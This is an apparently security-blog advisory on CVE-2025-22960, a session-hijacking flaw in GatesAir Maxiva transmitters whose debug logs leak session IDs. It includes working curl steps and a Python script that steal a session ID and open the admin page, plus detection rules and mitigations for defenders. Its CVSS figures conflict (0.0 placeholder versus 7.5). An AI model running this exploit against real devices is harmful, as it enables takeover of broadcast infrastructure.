CVE-2025-22960

Executive Summary

CVE-2025-22960 is a critical session hijacking vulnerability affecting GatesAir Maxiva UAXT and VAXT transmitters. The flaw resides in the web-based management interface, where unauthenticated attackers can access exposed log files at /logs/debug/xteLog*. These logs contain sensitive session-related information, including session IDs (sess_id) and authentication success tokens (user_check_password OK). Exploitation allows attackers to hijack active sessions, gain unauthorized access, and potentially escalate privileges on the device. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the ease of exploitation and potential impact on critical broadcast infrastructure. No official patch or vendor advisory has been released at this time.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base Score: 7.5 (High)
Temporal Score: 7.5 (High) – No patch or workaround widely available.

Threat Level: Critical for broadcast infrastructure. Unauthenticated access to session data can lead to full device compromise.

Deep Dive & Mechanics

The vulnerability is a classic case of sensitive information exposure (CWE-200). The GatesAir Maxiva transmitters expose debug log files via the web interface without authentication. The logs are stored at /logs/debug/xteLog* and contain plaintext session identifiers and authentication success messages.

Attack Flow:

1. An attacker sends an HTTP GET request to http://<target>/logs/debug/xteLog*.
2. The server returns log files containing sess_id values and user_check_password OK tokens.
3. The attacker extracts a valid session ID from the logs.
4. The attacker uses the session ID to impersonate an authenticated user, gaining access to the management interface.
5. With administrative access, the attacker can modify transmitter settings, disrupt broadcasts, or pivot to internal networks.

Root Cause: Lack of access control on the /logs/debug/ directory. The web server serves these files without requiring authentication.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):
The web server configuration likely allows directory listing or direct file access without authentication checks.

# Example vulnerable Apache config (if applicable)
<Directory "/var/log/gatesair">
    Options +Indexes
    AllowOverride None
    Require all granted
</Directory>

Patched Code (Conceptual):
A patch would restrict access to the log directory, requiring authentication or disabling directory listing.

# Patched configuration
<Directory "/var/log/gatesair">
    Options -Indexes
    AllowOverride None
    Require valid-user
</Directory>

Note: No official patch is available. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target GatesAir Maxiva transmitter with web interface exposed.
• Network access to the device.

Exploitation Steps:

1. Enumerate log files:

   curl -s http://<target>/logs/debug/ | grep -oP 'xteLog[^"]*'
   

2. Download a log file:

   curl -s http://<target>/logs/debug/xteLog.1 > log.txt
   

3. Extract session IDs:

   grep -oP 'sess_id=[a-f0-9]+' log.txt | head -1
   

4. Hijack session:

   curl -s -b "session_id=<extracted_sess_id>" http://<target>/admin/
   

Automated Exploit (Python):

import requests
import re

target = "http://<target>"
log_url = f"{target}/logs/debug/xteLog.1"
try:
    r = requests.get(log_url, timeout=10)
    if r.status_code == 200:
        sess_ids = re.findall(r'sess_id=([a-f0-9]+)', r.text)
        if sess_ids:
            print(f"Found session ID: {sess_ids[0]}")
            # Use session ID to access admin
            cookies = {"session_id": sess_ids[0]}
            admin_r = requests.get(f"{target}/admin/", cookies=cookies)
            print(admin_r.text)
except Exception as e:
    print(f"Error: {e}")

Blue Team (Defensive)

Detection:

• Monitor for requests to /logs/debug/ paths.
• Alert on multiple failed login attempts followed by session reuse.

Honeypot:

• Deploy a fake log file with decoy session IDs to trap attackers.

Mitigation:

• Immediately restrict access to /logs/debug/ via firewall or web server ACL.
• Disable directory listing and require authentication for log access.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /logs/debug/xteLog* from external IPs.
• Unusual session reuse patterns (same session ID from different IPs).

File IOCs:

• Log files containing sess_id and user_check_password OK strings.
• Unauthorized access to /logs/debug/ directory.

System IOCs:

• Unexpected configuration changes on the transmitter.
• New user accounts or privilege escalations.

Detection Engineering

YARA Rule

rule CVE_2025_22960_Session_Hijacking {
    meta:
        description = "Detects log files containing session IDs from GatesAir Maxiva transmitters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22960"
    strings:
        $sess_id = /sess_id=[a-f0-9]{32}/
        $auth_ok = "user_check_password OK"
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-22960 - GatesAir Maxiva Session Hijacking via Log Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to exposed debug log files on GatesAir Maxiva transmitters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/logs/debug/xteLog'
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22960 - GatesAir Maxiva Log Exposure"; flow:to_server; content:"GET"; http_method; content:"/logs/debug/xteLog"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict network access: Use firewall rules to block external access to the web management interface (port 80/443) unless absolutely necessary.
2. Disable directory listing: Ensure the web server does not list the /logs/debug/ directory.
3. Implement authentication: Require valid credentials for accessing any log files.
4. Rotate session IDs: Force all active sessions to be invalidated after applying access controls.

Long-term Fix:

• Vendor must release a firmware update that implements proper access controls on the /logs/debug/ endpoint.
• Until then, consider placing the device behind a VPN or bastion host.

Workaround:

• Move log files to a non-web-accessible location or encrypt them.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert